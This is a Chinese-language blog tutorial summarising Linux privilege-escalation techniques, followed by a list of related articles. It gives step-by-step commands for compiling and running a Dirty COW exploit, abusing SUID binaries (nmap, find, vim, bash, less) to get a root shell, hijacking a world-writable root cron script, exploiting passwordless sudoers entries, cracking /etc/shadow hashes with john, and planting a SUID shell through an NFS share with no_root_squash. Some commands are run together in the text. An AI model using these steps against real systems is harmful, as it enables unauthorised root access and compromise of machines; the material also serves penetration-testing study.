干货 | 最详细Linux提权总结(建议收藏)

简介: 干货 | 最详细Linux提权总结(建议收藏)

1、内核漏洞脏牛提权

查看发行版本

    cat /etc/issuecat /etc/*-release

    查看内核版本信息


    uname -a

    具体提权

    1、信息收集配合kali提权

    uname -a   #查看内核版本信息

    640.png

    内核版本为3.2.78,那我们可以搜索该版本漏洞

    searchsploit linux 3.2.78

    640.png找到几个可以使用的脏牛提权脚本,这里我使用的是40839.c脚本

    640.png

    那我们把这个文件也进行上传

    640.png

    然后在我们反弹的shell上查看,发现上传成功。

    640.png

    我们可以先看看脚本

    640.png

    利用提示对脚本进行编译

    gcc -pthread 40839.c -o 40839 -lcrypt

    640.png

    640.png

    运行然后输入密码即可

    640.png接下来我们通过

    su firefart   #切换用户

    640.png

    2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具

    linux-exploit-suggester

    640.png

     linux-exploit-suggester-2

    640.png

    2、SUID配置错误提权

    SUID简介

    1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.

    2.命令执行者要对该程序文件拥有执行(x)权限.

    3.命令执行者在执行该程序时获得该程序文件属主的身份.

    4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

    SUID设置方法

      1、chmod u+s FILE...2、chmod u-s FILE…

      具体提权

      SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

      常见Linuxroot文件列表如下

        nmapvimfindbashmorelessnanocp

        利用如下POC

          #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {} \;

          640.png

          各命令提权利用

          nmap

          旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 位于以 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

          nmap --interactive #启动交互模式

          640.png

            nmap> !shsh-3.2# whoamiroot

            640.png

            或者有一个 Metasploit 模块,它通过 SUID Nmap 二进制文件执行权限提升。

            exploit/unix/local/setuid_nmap

            find

            实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。

            我们拿到一个非root权限

            640.png

              touch abcfind abc -exec whoami \;

              640.png

              vim

              Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

              vim.tiny /etc/shadow

              640.png

              还可以通过vim来打开shell

                vim.tiny# Press ESC key:set shell=/bin/sh:shell

                640.png

                 Bash

                  bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

                  640.png

                  lessmore

                    less /etc/passwd!/bin/sh

                    640.png

                    3、计划任务提权

                    系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

                    利用命令如下命令列出一些计划任务

                      ls -l /etc/cron*cat /etc/crontab

                      640.png在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升

                      权限配置不当

                      首先我们拿到一个非root用户的账号,我们通过一些其他的手段提权都失败了,这个时候我们查看了一下计划任务

                      cat /etc/crontab

                      640.png

                      发现存在一个root身份运行的test.sh,那我们当相应的目录下去查看一下这个计划任务

                       

                      cd /sbin;ls -l test.sh

                      640.png

                       

                      发现这里权限配置为777,就是说我们普通用户也能去修改这个test.sh文件,那我们对文件进行修改,然后进行提权。


                      cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

                      640.png

                      接下来就到/tmp等待计划任务的执行

                      640.png产生后对bash文件进行执行即可进行提权

                      640.png

                      4、sudo提权

                      普通用户一般是无法运行root所有者的命令的,运用sudo可以使普通用户使用root用户的命令。但是在一些场景下,管理员为了平常运营方便给sudoer文件配置不当,从而导致权限提升的问题产生。


                      一般情况下,我们使用sudo命令都需要输入root密码


                      640.png

                      管理可能为了方便对/etc/sudoers进行编辑成sudo免密码

                      vim /etc/sudoers


                      添加:test ALL=(ALL:ALL) NOPASSWD:ALL  #test为我们的用户

                      640.png

                      添加后我们在进行重新进行读取

                      640.png

                      5、明文root密码提权

                      大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

                      640.png

                      当我们的passwdshadow一些权限配置不当就可能会导致提权


                      passwd文件


                      test:x:1000:1000::/home/test:/bin/bash

                      passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。

                      当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。


                      shadow文件

                        test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

                        假如我们对shadow文件有读取权限我们就可以利用hashjohn等对其进行爆破

                        这里以john为例进行演示,首先把passwdshadow两文件放在同一文件下

                        640.png

                        john --user=test test.hash


                        640.png

                        6、密码复用提权

                        当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码


                        7、第三方服务提权

                        netstat -antup #查看各种网络服务

                        1NFS提权

                        当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

                        查看NFS服务器上的共享目录

                        sudo showmount -e x.x.x.x

                        创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

                        sudo mkdir -p /tmp

                        sudo mount -t nfs x.x.x.x:/home/test /tmp

                        cp /bin/bash /tmp/shell

                        chmod u+s /tmp/shell

                        回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

                        2、数据库提权(篇幅教长,后续另起篇幅)

                        ①UDF提权

                        ②MOF提权

                        启动项提权

                        CVE-2016-6663、CVE-2016-6664组合提权

                        反弹端口提权

                        目录
                        相关文章
                        |
                        1月前
                        |
                        Linux 开发工具
                        linux sudo指令提权
                        linux sudo指令提权
                        |
                        6月前
                        |
                        网络协议 Linux 网络安全
                        2023年中职“网络安全“—Linux系统深入提权③
                        2023年中职“网络安全“—Linux系统深入提权③
                        82 2
                        |
                        Ubuntu 安全 Linux
                        CVE-2021-3493 Linux kernel提权漏洞复现
                        CVE-2021-3493 Linux kernel提权漏洞复现
                        181 0
                        |
                        6月前
                        |
                        网络协议 Linux 测试技术
                        2023年中职“网络安全“—Linux系统深入提权②
                        2023年中职“网络安全“—Linux系统深入提权②
                        63 0
                        |
                        9月前
                        |
                        安全 Linux 数据安全/隐私保护
                        Linux DirtyPipe 内核提权漏洞 (CVE-2022-0847)
                        它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
                        116 1
                        |
                        9月前
                        |
                        缓存 安全 Linux
                        Linux内核提权漏洞—CVE-2022-0874
                        Linux内核提权漏洞—CVE-2022-0874
                        91 1
                        |
                        10月前
                        |
                        安全 Shell Linux
                        linux提权总结
                        linux提权总结
                        246 0
                        |
                        安全 Linux
                        Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
                        Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
                        1109 1
                        |
                        Linux 开发工具 C语言
                        Linux中如何给普通用户提权
                        Linux中如何给普通用户提权
                        |
                        安全 关系型数据库 MySQL
                        Linux提权备忘录
                        Linux提权备忘录
                        162 0
                        Linux提权备忘录